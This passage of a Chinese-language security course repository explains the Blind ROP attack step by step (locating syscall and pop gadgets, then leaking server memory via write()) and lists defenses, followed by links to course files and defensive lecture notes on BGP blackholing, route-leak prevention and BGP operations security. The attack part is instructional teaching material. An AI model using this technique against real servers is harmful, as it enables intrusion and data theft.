此时,攻击者找到了一些pop gadget,但不知道其中所使用的寄存器,也不知道`syscall`指令的地址。 465 | 466 | **第3步: 寻找syscall()并确定pop gadget所用寄存器** 467 | 468 | `pause()`系统调用无需参数。为了找到`pause()`,攻击者将所有pop gadget连在一起形成一个ROP链,将`pause()`的系统调用号入栈作为每个gadget的参数。在ROP链底部放入所猜测的`syscall`地址,如下图: 469 | 470 | ``` 471 | +————————————————————————+ 472 | | | guessed addr of syscall() 473 | +————————————————————————+ 474 | ~ ~ ... 475 | +————————————————————————+ 476 | | | syscall number of pause 477 | +————————————————————————+ 478 | | | addr of pop rdi; ret // Gadget 2 479 | +————————————————————————+ 480 | | | syscall number of pause 481 | +————————————————————————+ 482 | | return address | addr of pop rdi; ret // Gadget 1 483 | +————————————————————————+ 484 | | saved %ebp |<——— new %ebp 485 | +————————————————————————+ 486 | |buff[1023] ^ | 487 | | | | 488 | | | buff[0]|<——— new %esp 489 | +————————————————————————+ 490 | 491 | ``` 492 | 493 | 这会将`pause()`调用号存入寄存器中。若其中有`eax`,而且`syscall()`猜测正确的话,则服务器会暂停。此时,就找到了`syscall()`地址。接着,用每个pop gadget单独重复这一过程,就能找到使用了`eax`的gadget。利用该方法的原理还可以确定其他寄存器对应的gadget。 494 | 495 | - 第4步:调用`write()` 496 | 497 | 用之前的方法找到以下gadget,用ROP实现`write()`调用。 498 | 499 | ```gas pop edi; ret (socket) pop esi; ret (buffer) pop edx; ret (length) pop eax; ret (write syscall number) 500 | syscall 501 | ``` 502 | #### 第三阶段:构造shellcode 503 | 504 | 至此,攻击者利用BROP来攻击web服务器,通过`write()`将服务器数据和代码地址作为参数,将敏感内容写入与攻击者客户端相连的socket,发送给攻击者。攻击者由此发现更多的gadget来构造shellcode。 505 | 506 | #### 防御Blind BROP 507 | 508 | 每次服务崩溃重新随机化canary和地址空间! 509 | 510 | - 用`exec()`替代`fork()`,由于`fork()`拷贝父进程地址空间 511 | - Windows不怕BROP,因为Windows里没有类似`fork()`的调用 512 | 513 | --- 514 | 515 | 516 | 517 | 518 | 519 | -------------------------------------------------------------------------------- /buffer-overflow/supplements/How-the-web-works.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/buffer-overflow/supplements/How-the-web-works.pdf -------------------------------------------------------------------------------- /buffer-overflow/supplements/PC-Assembly-Language.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/buffer-overflow/supplements/PC-Assembly-Language.pdf -------------------------------------------------------------------------------- /buffer-overflow/supplements/Smashing-The-Stack-For-Fun-And-Profit.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/buffer-overflow/supplements/Smashing-The-Stack-For-Fun-And-Profit.pdf -------------------------------------------------------------------------------- /buffer-overflow/supplements/baggy-bound-checking-USENIX2009.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/buffer-overflow/supplements/baggy-bound-checking-USENIX2009.pdf -------------------------------------------------------------------------------- /buffer-overflow/supplements/blind-return-oriented-programming-slides.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/buffer-overflow/supplements/blind-return-oriented-programming-slides.pdf -------------------------------------------------------------------------------- /buffer-overflow/supplements/blind-return-oriented-programming.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/buffer-overflow/supplements/blind-return-oriented-programming.pdf -------------------------------------------------------------------------------- /buffer-overflow/supplements/gcc-x86-Assembly.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/buffer-overflow/supplements/gcc-x86-Assembly.pdf -------------------------------------------------------------------------------- /buffer-overflow/supplements/gdb-refcard.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/buffer-overflow/supplements/gdb-refcard.pdf -------------------------------------------------------------------------------- /buffer-overflow/supplements/memorylayout.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/buffer-overflow/supplements/memorylayout.pdf -------------------------------------------------------------------------------- /crypto/crush-course.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/crypto/crush-course.pdf -------------------------------------------------------------------------------- /internet-security/RPKI技术分析-1209.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/internet-security/RPKI技术分析-1209.pdf -------------------------------------------------------------------------------- /internet-security/arch-discuss.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/internet-security/arch-discuss.pptx -------------------------------------------------------------------------------- /internet-security/arch-sec.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/internet-security/arch-sec.pptx -------------------------------------------------------------------------------- /internet-security/bgp-sec-1.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/internet-security/bgp-sec-1.pptx -------------------------------------------------------------------------------- /internet-security/bgp-sec-2.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/internet-security/bgp-sec-2.pptx -------------------------------------------------------------------------------- /internet-security/bgp-sec-3.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/internet-security/bgp-sec-3.pptx -------------------------------------------------------------------------------- /internet-security/bgp-sec-4.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/internet-security/bgp-sec-4.pptx -------------------------------------------------------------------------------- /internet-security/bgp-sec-5.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/internet-security/bgp-sec-5.pptx -------------------------------------------------------------------------------- /internet-security/bgp-sec-6.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/internet-security/bgp-sec-6.pptx -------------------------------------------------------------------------------- /internet-security/bgp-sec-7.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/internet-security/bgp-sec-7.pptx -------------------------------------------------------------------------------- /internet-security/bgp-sec-8-BCAB.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/internet-security/bgp-sec-8-BCAB.pdf -------------------------------------------------------------------------------- /internet-security/bgp-sec.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/internet-security/bgp-sec.pptx -------------------------------------------------------------------------------- /internet-security/dns-sec-1.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/internet-security/dns-sec-1.pptx -------------------------------------------------------------------------------- /internet-security/dns-sec-2.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/internet-security/dns-sec-2.pptx -------------------------------------------------------------------------------- /internet-security/dns-sec-3.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/internet-security/dns-sec-3.pptx -------------------------------------------------------------------------------- /internet-security/dns-sec-4.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/internet-security/dns-sec-4.pptx -------------------------------------------------------------------------------- /internet-security/dns-sec-5.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/internet-security/dns-sec-5.pptx -------------------------------------------------------------------------------- /internet-security/dns-sec-6.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/internet-security/dns-sec-6.pptx -------------------------------------------------------------------------------- /internet-security/dns-sec.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/internet-security/dns-sec.pptx -------------------------------------------------------------------------------- /internet-security/intro.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/internet-security/intro.pptx -------------------------------------------------------------------------------- /internet-security/sidr.md: -------------------------------------------------------------------------------- 1 | # 域际路由安全II 2 | 3 | 本节学习三个方面与BGP安全相关内容: 4 | 5 | 1. 抵御DoS攻击的BGP黑洞技术。不是BGP本身安全问题,是利用BGP解决安全问题。其中,会学习IXP相关知识。 6 | 2. 路由泄露概念,以及IETF正在(2018年5月)研究的路由泄露检测与防御方法。 7 | 3. 一份全面的BGP操作安全指南,作为整个BGP安全部分的总结。 8 | 9 | ## 1. 抵御DoS攻击的BGP黑洞技术 10 | 11 | BGP黑洞(BGP blackholing):利用BGP协议来限制指定目标IP地址的流量,通常用于缓解DoS攻击。 12 | 13 | ``` 14 | +--Peering AS---+ +--Victim AS--+ 15 | DoS ===> |======|| |<===BGP ===>|===> target | 16 | traffic +------||-------+ +-------------+ 17 | V 18 | blackhole 19 | ``` 20 | 21 | ### 1.1 Blackhole Community 22 | 23 | 参考资料:[RFC7999: Blackhole Community (2016)](https://www.rfc-editor.org/rfc/rfc7999.txt) 24 | 25 | 一个起源AS利用“BLACKHOLE”团体属性令邻居AS丢弃以指定IP前缀为目的的流量。利用定义的团体属性实现黑洞的好处是有统一标准会更容易地实现和监测黑洞。 26 | 27 | - 团体(community)属性可以添加在每一个路由前缀中,由RFC1997定义,是一个transitive optional属性。包含有团体属性的路由,表示该路由是一个路由团体中的一员,该路由团体具有某种或多种相同的特征。 28 | - 团体属性类型码为8,数值为32位,高16位`0x0000`和`0xFFFF`为保留,其余通常为`ASN`;低16位按功能来定义。 29 | - 黑洞团体注册为:"BGP Well-known Communities" `BLACKHOLE (= 0xFFFF029A)`,低16位数值666,为ISP常用值。 30 | - 当一个网络遭受DDoS攻击时,该网络可以声明一个涵盖了受害者IP地址的IP前缀,该声明附带黑洞团体属性,来通知邻居网络任何以该IP地址为目的的流量都应该被丢弃。 31 | - 黑洞团体可以用来触发基于目的的远程触发黑洞(RTBH)[RFC5635](https://tools.ietf.org/html/rfc5635)。 32 | - 局部黑洞:当一台路由器收到带有黑洞团体属性的路由声明时,应该添加`NO_ADVERTISE`(0xFFFFFF02,该路径禁止被通告给其他相连路由器)或`NO_EXPORT`(0xFFFFFF01,该路径禁止被通告给AS或联盟外部的路由器)团体来组织该前缀被传播到本自治域之外。 33 | - 接受黑洞IP前缀: 34 | - 通常BGP路由器不会接受长度大于/24 (IPv4)和/48 (IPv6)的声明。但黑洞前缀长度应该尽可能的长来防止未被攻击的IP地址收到影响。通常,黑洞前缀采用/32 (IPv4)和/128 (IPv6)。 35 | - 一个AS声明的黑洞前缀应该被该AS有权声明的前缀所覆盖。 36 | - 接收方已经同意在特定BGP会话中接受BLACKHOLE团体。 37 | 38 | ### 1.2 IXP提供的黑洞服务 39 | 40 | #### 1.2.0 IXP 41 | 首先,了解一个重要的互联网基础设施——IXP——的概念。 42 | 43 | - [IXP(Internet Exchange Point)](https://en.wikipedia.org/wiki/Internet_exchange_point):互联网交换中心是为电信运营商(ISP)/内容服务提供商(CSP)之间建立的集中交换平台,一般由第三方中立运营,是互联网重要基础设施。典型的IXP具备以下特点: 44 | 1. 中立性:一般由非电信运营商控制的第三方建立并运营; 45 | 2. 对等互联:AS之间一般采用免费对等互联(Peering); 46 | 3. 微利或非盈利性:本身只提供接入平台,不参与成员间的流量交换,在收费模式上只收取端口占用费。 47 | - IXP利于本地ISP之间对等互联,降低互联成本,提高带宽,降低延迟,促进互联网扁平化。 48 | - IXP的经济学动机来自于在流量相当的ISP之间、ISP与CSP之间的免费互联来降低成本,并具有[“网络效应”](https://en.wikipedia.org/wiki/Internet_exchange_point),即IXP成员越多,对每个成员带来的好处越大。 49 | - IXP现状 50 | - [Packet Clearing House上的IXP列表](https://www.pch.net/ixp/dir) 51 | - [PeeringDB数据库](https://www.peeringdb.com) 52 | - [Hurricane Electric的IXP报告](https://bgp.he.net/report/exchanges#_exchanges) 53 | - 路由服务器(Route Server):IXP提供的一个BGP路由器,只转发路由消息(参与控制平面),但不转发流量(不参与数据平面)。路由服务器将N个路由器之间NxN个BGP会话稀疏化为与路由服务器之间的N个会话。 54 | 55 | #### 1.2.1 IXP上BGP黑洞服务 56 | 57 | 如何在IXP上实现路由黑洞,见[DE-CIX黑洞服务 (2018)](https://www.de-cix.net/en/resources/de-cix-blackholing-guide) [[幻灯片]](https://www.de-cix.net/_Resources/Persistent/4277e7d4867a78ae923c0f5b3b66d7ff6aeb61f8/DE-CIX-Blackholing-Service.pdf)。 58 | 59 | 基本方法: 60 | 61 | - 被攻击的AS声明带有黑洞团体属性的被攻击IP前缀 62 | - 路由服务器将路由信息中下一跳(next-hop)改写为预定义的黑洞下一跳地址BN 63 | - 所有AS选择该前缀为最优路径,获得黑洞地址BN的MAC地址; 64 | - 以BN的MAC地址为目的的流量通过链路层ACL来丢弃 65 | 66 | ### 1.3 BGP黑洞测量 67 | 68 | 论文:Inferring BGP Blackholing Activity in the Internet, IMC'17. (2017) [[论文]](https://conferences.sigcomm.org/imc/2017/papers/imc17-final90.pdf) [[幻灯片]](https://conferences.sigcomm.org/imc/2017/slides/IMC2017-BGP-Blackholing.pdf) : 69 | 70 | 开发并评估了一种自动检测现实网络中BGP黑洞活动的方法,应用于公共和私有BGP数据集发现,包括大型transit提供商在内的数百个网络,以及约50个互联网交换点(IXP)或黑洞服务商为其客户,对等体和成员提供服务。在2014-2017年之间,黑洞前缀数量增加了6倍,达到5K,同时来自400个自治域。使用定向主动测量和被动数据集来评估数据平面上黑洞效果,发现在到达黑洞目的地之前丢弃流量确实非常有效,尽管它也丢弃了合法流量。 71 | 72 | - 根据ISP/IXP的注册信息和网站等获得黑洞community字典 73 | - 根据BGP路由数据获得黑洞活动:前缀,提供商(community前16位),用户(起源AS),起始时间 74 | - 约一半的黑洞事件是从Bundling中获得的,即一个路由消息中包含多个黑洞community 75 | - 黑洞事件爆发与DDoS事件相关 76 | - 利用traceroute探测来比较黑洞事件前后通往黑洞前缀的路径长度,黑洞会减少IP级跳数5跳,AS级跳数3跳 77 | - 43%的黑洞前缀来自于内容提供商 78 | - 70%的黑洞事件小于1分钟,由于黑洞使用时的On-Off模式 79 | 80 | ## 2. 路由泄露防御 81 | 82 | 参考资料: 83 | 84 | - [RFC7908: Problem Definition and Classification of BGP Route Leaks (2016)](https://tools.ietf.org/html/rfc7908) 85 | [Internet Draft: Route Leak Prevention using Roles in Update and Open messages (2018)](https://tools.ietf.org/html/draft-ietf-idr-bgp-open-policy-02) 86 | - [Internet Draft: Methods for Detection and Mitigation of BGP Route Leaks (2018)](https://tools.ietf.org/html/draft-ietf-idr-route-leak-detection-mitigation-08) 87 | 88 | ### 2.1 定义与分类 89 | 90 | - 路由泄露(route leak):超过了预期范围的路由声明扩散。 91 | - 从一个AS到另一个AS的路由声明违背了接收者、发送者和/或之前AS路径上某个AS的预期政策。预期范围通常由本地的重发布/过滤政策来定义,这些预期政策又通常以AS间互联商业关系来定义。 92 | - 提供商-客户(Provider-Customer, P2C):客户向提供商付费,提供商为客户提供传递Transit服务;客户不为提供商间传递流量。 93 | - 对等(Peer-Peer, P2P):AS间相互(Peering)传递流量,互不付费;不为各自的其他对等AS或提供商传递流量。 94 | - 无谷(Valley-free)模型:一条AS路径中在P2C或P2P之后不存在C2P或P2P。 95 | 96 | 下图示例:AS0发出路由声明,其provider、peer和customer违背无谷原则将该路由声明泄露给AS4、AS5、AS7、AS8。 97 | 98 | ``` 99 | AS1 100 | | 101 | | 102 | AS2 -----[provider] AS4 [Leak] 103 | / | | 104 | [Leak] / | | 105 | AS7 AS3 AS0 -----[peer]----- AS5 106 | \---\ | | [Leak] 107 | \-----\ | | 108 | AS8 -------[customer] AS6 109 | [Leak] | 110 | | 111 | AS9 112 | ``` 113 | 下面来根据分类的名字来猜一猜,路由声明被泄露给了那个AS? 114 | 115 | - Type 1:带有全部前缀的发卡弯(Hairpin Turn with Full Prefix) 116 | - Type 2:横向ISP-ISP-ISP泄露(Lateral ISP-ISP-ISP Leak) 117 | - Type 3:提供商前缀泄露给对等(Leak of Transit-Provider Prefixes to Peer) 118 | - Type 4:对等前缀泄露给提供商(Leak of Peer Prefixes to Transit Provider) 119 | - Type 5:带有通往合法起源路径的前缀重组织(Prefix Re-origination with Data Path to Legitimate Origin) 120 | - 一个多宿主AS将从一个provider获得的一个路径声明,以自己为起源(去掉路径)重新组织前缀,并声明给另一个provider。然而,该AS以某种方式建立了一条通往真正起源AS的反向路径。因此,数据包仍然可以到达真正起源AS。 121 | - Type 6:内部或更具体前缀泄露(Accidental Leak of Internal Prefixes and More-Specific Prefixes) 122 | - 一个AS将内部前缀泄露给provider或peer。泄露的前缀通常比已经声明的前缀更具体。 123 | 124 | ``` 125 | Intended blank space 126 | 127 | 128 | 129 | 130 | 131 | 132 | ``` 133 | 134 | - 答案:AS7、AS5、AS8、AS4、AS7、 135 | 136 | - 一种实现商业关系的BGP配置示例,其中本地AS100,其provider、peer和customer分别为AS200、AS300、AS400。 137 | 138 | ``` 139 | ! 配置本地路由器 140 | router bgp 100 141 | bgp router-id 1.0.0.1 142 | network 1.0.0.0/24 143 | 144 | !配置三个peer-group对邻居AS赋予商业关系角色 145 | ! 配置PROVIDER的peer-group 146 | neighbor PROVIDER peer-group 147 | neighbor PROVIDER route-map RM-PROVIDER-IN in 148 | neighbor PROVIDER route-map RM-PROV-PEER-OUT out 149 | 150 | ! 配置PEER的peer-group 151 | neighbor PEER peer-group 152 | neighbor PEER route-map RM-PEER-IN in 153 | neighbor PEER route-map RM-PROV-PEER-OUT out 154 | 155 | ! 配置CUSTOMER的peer-group 156 | neighbor CUSTOMER peer-group 157 | neighbor CUSTOMER route-map RM-CUSTOMER-IN in 158 | 159 | ! 配置邻居信息,给邻居按角色分组 160 | neighbor 2.0.0.1 remote-as 200 161 | neighbor 2.0.0.1 peer-group PROVIDER 162 | neighbor 3.0.0.1 remote-as 300 163 | neighbor 3.0.0.1 peer-group PEER 164 | neighbor 4.0.0.1 remote-as 400 165 | neighbor 4.0.0.1 peer-group CUSTOMER 166 | 167 | ! 配置PROVIDER的路由入规则,添加对角色对应的community属性,和local prefernece 168 | route-map RM-PROVIDER-IN permit 10 169 | set community 100:3080 additive 170 | set local-preference 80 171 | route-map RM-PROVIDER-IN permit 20 172 | 173 | ! 配置PEER的路由入规则,添加对角色对应的community属性,和local prefernece 174 | route-map RM-PEER-IN permit 10 175 | set community 100:3090 additive 176 | set local-preference 90 177 | route-map RM-PEER-IN permit 20 178 | 179 | ! 配置PROVIDER/PEER的路由出规则,阻止来自provider和peer的路由被转发给provider和peer 180 | route-map RM-PROV-PEER-OUT deny 10 181 | match community prov-peer 182 | route-map RM-PROV-PEER-OUT permit 20 183 | 184 | ! 配置CUSTOMER的路由入规则,添加对角色对应的community属性,和local prefernece 185 | route-map RM-CUSTOMER-IN permit 10 186 | set community 100:3100 187 | set local-preference 100 188 | route-map RM-CUSTOMER-IN permit 20 189 | 190 | ! 配置community-list 191 | ip community-list standard prov-peer permit 100:3080 192 | ip community-list standard prov-peer permit 100:3090 193 | ip community-list standard prov-peer deny 194 | ``` 195 | 196 | 如果上述配置正确,则不会发生路由泄露事故,否则可能导致路由泄露。 197 | 下面介绍IETF正在研究的两种路由泄露防御手段:一种是AS内部防止泄露路由给邻居;另一种是检测来自邻居AS的路由泄露。 198 | 199 | ### 2.2 基于角色的路由泄露阻止 200 | 201 | - 参考文献:[Internet Draft: Route Leak Prevention using Roles in Update and Open messages (2018)](https://tools.ietf.org/html/draft-ietf-idr-bgp-open-policy-02) 202 | 203 | - 思路:在BGP中AS间商业关系通过各自配置来实现,而路由器间缺乏对关系的协商。因此,一种思路是在BGP中直接加入角色概念,在两个BGP路由器在OPEN消息中对其所在AS间角色/关系达成一致。随后传播的UPDATE信息根据该角色/关系来用一个属性标记,从而阻止路由泄露。 204 | 205 | - BGP角色:BGP会话中一个新的可配置选项来反映对互联关系所达成的一致,可取值: 206 | - 0 Peer:发送方和邻居是peer; 207 | - 1 Provider:发送方是provider; 208 | - 2 Customer: 发送方是customer; 209 | - 3 Internal:发送方和邻居属于同一组织。 210 | - iBGP会话只能配置Internal角色。 211 | - BGP Role Capability Code: 212 | - Type: TBD; 213 | - Length - 1 (8位); 214 | - Value:对应BGP Role的整数 215 | - 在OPEN消息中以Capability选项来传递([RFC5492](https://tools.ietf.org/html/rfc5492))。 216 | - 角色检查:当收到对端发过来的角色能力时,检查自己的角色是否匹配? 217 | - 发送方 --- 接收方 218 | - Peer --- ? 219 | - Provider --- ? 220 | - Customer --- ? 221 | - Internal --- ? 222 | - 若发现不匹配,则必须发送一个NOTIFICATION消息 (代码 2, 子码 )。 223 | - Strict mode:一个新的BGP配置选项,true或false。 224 | - 若配置为true,则当角色不匹配时,必须拒绝建立BGP会话,发送Connection Rejected Notification (错误码6,子码5) ([RFC4486](https://tools.ietf.org/html/rfc4486)) 225 | - 为阻止路由泄露,在UPDATE消息中添加一个新的非传递路径属性iOTC(Internal Only To Customer,只能发送给内部/客户),该属性只是一个标记。iOTC使用规则如下: 226 | - 若接收方角色为Customer或Peer,则iOTC属性必须被添加到所有收到的路由中; 227 | - 标记来自于Provider或Peer的路由 228 | - 若发送方角色为Customer或Peer,则禁止声明带有iOTC属性的路由消息; 229 | - 不能将iOTC路由发送给Provider或Peer,即禁止路由泄露 230 | - 禁止非Internal的发送方在UPDATE消息中添加iOTC属性。 231 | - iOTC属性由接收方添加 232 | - 若从eBGP收到包含iOTC属性的UPDATE消息,且接收方角色非Internal,则该属性必须被移除。 233 | - iOTC属性不能被传递 234 | - 问题:为什么不通过Community,而通过Attribute来实现? 235 | - 对关系达成一致应该在OPEN中实现。无论配置是否错误,路由器应强制实现该关系。 236 | - 在使用iOTC的路由传播中的关系应该被强制执行,并且应最小化被错误配置的可能。 237 | - Community通常由网管配置/更改,并且很容易配置错误或被错误过滤;而Attribute通常不会被网管修改,并由路由器强制执行。 238 | 239 | ### 2.3 基于路由标记的路由泄露阻止 240 | 241 | 参考资料:[Internet Draft: Methods for Detection and Mitigation of BGP Route Leaks (2018)](https://tools.ietf.org/html/draft-ietf-idr-route-leak-detection-mitigation-08) 242 | 243 | - 思路:在路由声明中添加一个RLP(Route-Leak Protection)标记,带有该标记的路由信息被禁止“向上或横向”(向Provider或Peer)传播。当向Customer或Peer发送路由声明时添加该标记,此后若被“向上或横向”传播,则为路由泄露。 244 | 245 | - RLP属性:一个新的BGP可选传递属性。类型码待定;长度占8位; 246 | - 数值为一个ASN(32位)和RLP字段(8位)对的序列,格式如下图; 247 | - RLP字段缺省为0,即未设定;为1时,“禁止向上或横向传播”; 248 | - AS_PATH上每个支持RLP的AS插入自己的`{ASN, RLP}`字段;(排除prepending) 249 | - 因此如果所有AS都支持,则AS_PATH和RLP属性中AS列表应该一致;否则,RLP会缺失若干AS; 250 | 251 | ``` 252 | +-----------------------+ -\ 253 | | ASN: N | | 254 | +-----------------------+ > (Most recently added) 255 | | RLP: N | | 256 | +-----------------------+ -/ 257 | ........... 258 | +-----------------------+ -\ 259 | | ASN: 1 | | 260 | +-----------------------+ > (Least recently added) 261 | | RLP: 1 | | 262 | +-----------------------+ -/ 263 | ``` 264 | 265 | - 接收方检测路由泄露: 266 | - 一条路由更新同时满足如下条件,则标记为路由泄露: 267 | - 更新来自于customer或peer 268 | - 除最近一跳外,一跳或多跳的RLP字段为1(即禁止向上或横向传播) 269 | - 排除“最近一跳”的原因在于,接收方应该检查“最近一跳”的前一跳是否设置了RLP来判断是否发生路由泄露;而且接收方已经知道更新来自于customer或peer。 270 | 271 | - 当检测到路由泄露后,接收方可按如下方法缓解路由泄露: 272 | - 若来自customer或peer的更新被标记为“路由泄露”,则接收方应该优先选择其他未被标记的替代路由; 273 | - 若没有未被标记的替代路由,则一个被标记为“路由泄露”的路径也可以被接受。 274 | - 基本原则是,若一个AS收到并标记了一个来自customer的路由为“路由泄露”,则这个AS应该否决“客户优先”(prefer customer)政策,并且优先选择其他“干净”的路由。这可以通过调整“Local preference”来实现。 275 | 276 | - Role与RLP比较: 277 | - AS内部限制输出 vs. AS外部检查输入 278 | - AS粒度 vs. 前缀粒度 279 | - 需所有AS支持 vs. 向后兼容(不需要所有AS都支持,但若要防御路由泄露,则大的Provider应支持) 280 | 281 | ## 3. BGP操作安全 282 | 283 | 参考资料: 284 | 285 | - [RFC7454: BGP Operations and Security](https://tools.ietf.org/html/rfc7454) 286 | 287 | 摘要:本文档描述了保护BGP会话本身的措施,如生存时间(TTL),TCP认证选项(TCP-AO)和控制平面过滤。描述了使用前缀过滤和前缀过滤自动化,最大前缀过滤,自治系统(AS)路径过滤,路由震荡衰减和BGP团体属性清理来更好地控制路由信息流动。 288 | 289 | ### 3.1 保护BGP Speaker 290 | 291 | - BGP Speaker是实现路由器间BGP会话的组件。 292 | - 威胁:单纯保护TCP是不充分的,例如syn flooding攻击需要采用ACL来防御。 293 | - 主要通过ACL(访问控制列表)予以保护,以丢弃发给本地TCP179端口,但来自未知或非许可的地址的数据包。 294 | - ACL应通过控制平面实现(receive-ACL,、控制平面政策等),避免通过数据平面过滤器实现。 295 | - 一些路由器会根据配置来自动生成ACL;另一些的ACL则需要人工配置 296 | - 速率限制可以用来防止BGP流量过载 297 | - [RFC6192: Protecting the Router Control Plane](https://tools.ietf.org/html/rfc6192) 298 | 299 | ### 3.2 保护BGP会话 300 | 301 | - 威胁:例如,发送伪造 TCP RST包;通过ARP伪造来在TCP流中注入数据包; 302 | - 保护TCP会话: 303 | - [RFC5925: The TCP Authentication Option](https://tools.ietf.org/html/rfc5925): 304 | - TCP认证选项(TCP-AO)替代RFC 2385中TCP MD5签名选项。 305 | - 使用更强的消息认证码(MAC),即使对于长时间的TCP连接也能防止重放。 306 | - 兼容静态主密钥组(MKT)配置或外部带外MKT管理机制; 307 | - 保护连接重复实例中使用相同MKT时的连接,使用从MKT派生的业务密钥,并且协调终端之间的MKT更改。 308 | - 保护TCP会话的缺点是需要额外的配置与管理负担,因此并不要求一定实现,即使在IXP共享网络环境下; 309 | - 希望通过预防源地址伪造来避免这类威胁。 310 | - TTL安全(GTSM) 311 | - [RFC5082: The Generalized TTL Security Mechanism (GTSM)](https://tools.ietf.org/html/rfc5082) 312 | - 发送方发送TTL值255,接收方检查TTL值等于255。 313 | - 非直连子网之外的攻击者的数据包无法以TTL值255到达接收方。 314 | 315 | ### 3.3 前缀过滤 316 | 317 | - 通用前缀过滤器,过滤掉以下前缀: 318 | - 特殊用途前缀:[IPv4特殊用途前缀](https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry), [IPv6特殊用途前缀](http://www.iana.org/assignments/iana-ipv6-special-registry) 319 | - 尚未分配前缀: 320 | - IANA已分配前缀:IPv4地址空间已经全部分配,因此无需过滤;IPv6需及时更新 321 | - RIR已分配前缀: 322 | - IRR(Internet Routing Registry)数据库,例如[RADb (Routing Assests Database)](http://www.radb.net/)。由RIR和ISP维护的路由信息。 323 | - SIDR (Secure Inter-Domain Routing) 324 | - RPKI ([RFC6480: An Infrastructure to Support Secure Internet Routing 325 | ](https://tools.ietf.org/html/rfc6480)),见[课件](bgp-sec.pptx) 326 | - BGPSec ([RFC7353: Security Requirements for BGP Path Validation](https://tools.ietf.org/html/rfc7353)),见[课件](bgp-sec.pptx) 327 | - 太长的前缀:多数ISP不接受比/24或/48更长的前缀 328 | - 过滤属于本地AS和下游的前缀:不需要从外部获得路由信息 329 | - IXP局域网前缀 330 | - 缺省路由:0.0.0.0/0 331 | - 对全路由(Full Routing)网络的前缀过滤建议: 332 | - 严格模式/松散模式——是否根据RIR分配来验证 333 | - 对peer的过滤器 334 | - 入界过滤:特殊前缀、IANA为非配、太长、本地AS、IXP前缀,缺省 335 | - 出界过滤:特殊前缀、太长、IXP前缀、缺省 336 | - 对customer的过滤器 337 | - 入界过滤:非customer的前缀,或与peer过滤器相同 338 | - 出界过滤:特殊前缀、太长、缺省(除非customer希望采纳缺省路由) 339 | - 对Provider的过滤器 340 | - 入界过滤:与peer过滤器相同,除了缺省路由 341 | - 出界过滤:与peer过滤器相同 342 | - 对末端(Leaf)网络的前缀过滤建议: 343 | - 入界过滤:特殊前缀、太长、本地AS、缺省(或只采纳缺省路由) 344 | - 